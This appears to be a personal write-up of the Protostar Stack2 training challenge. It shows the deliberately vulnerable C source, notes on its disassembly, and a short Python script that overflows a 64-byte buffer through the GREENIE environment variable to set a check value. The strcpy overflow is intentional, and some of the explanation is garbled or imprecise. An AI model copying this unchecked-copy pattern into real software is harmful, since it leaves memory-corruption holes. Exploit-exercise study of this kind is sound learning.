Protostar Stack2

Challenge Source Code

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)  
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);


Looking up the assembly we find

sub esp,0x60  //this 6 *16 is the maximum size for the buffer  
mov  DWORD PTR [esp],0x80485e0  
call   804837c <getenv@plt> //var1 = argument  
mov DWORD PTR [esp+0x5c],eax //var 1  

and the return is the maximum size for the buffer address to return to is found here

80484e4:    8b 44 24 58             mov    eax,DWORD PTR [esp+0x58]  
80484e8:    3d 0a 0d 0a 0d          cmp    eax,0xd0a0d0a  

0xd0a0d0ais the address we want to over write esp+0x58 with

so to do that we fill the variable esp+0x5c and overflow into 0x58

max size of the buffer is 6 *16 from the function prolog so we can start from that and cut in half till we see what happens or calculate from the stack. Guessing here took a few seconds.
after trial and error, 64 is found to be the buffer size and the injected hex is in little endian so the payload is

import os  
from pwn import *

offset = 64#guess  
filler = 'a' *offset;  
returnAddress = "\x0a\x0d\x0a\x0d"  
payload = filler + returnAddress

def setVariable(tempPayload):  
    os.environ["GREENIE"] = tempPayload
    print "set the greenie variable"

print "payload: " + payload  

since there are calls for get enviroment variables we need to set an enviroment variable

Press ` to check out my sick terminal!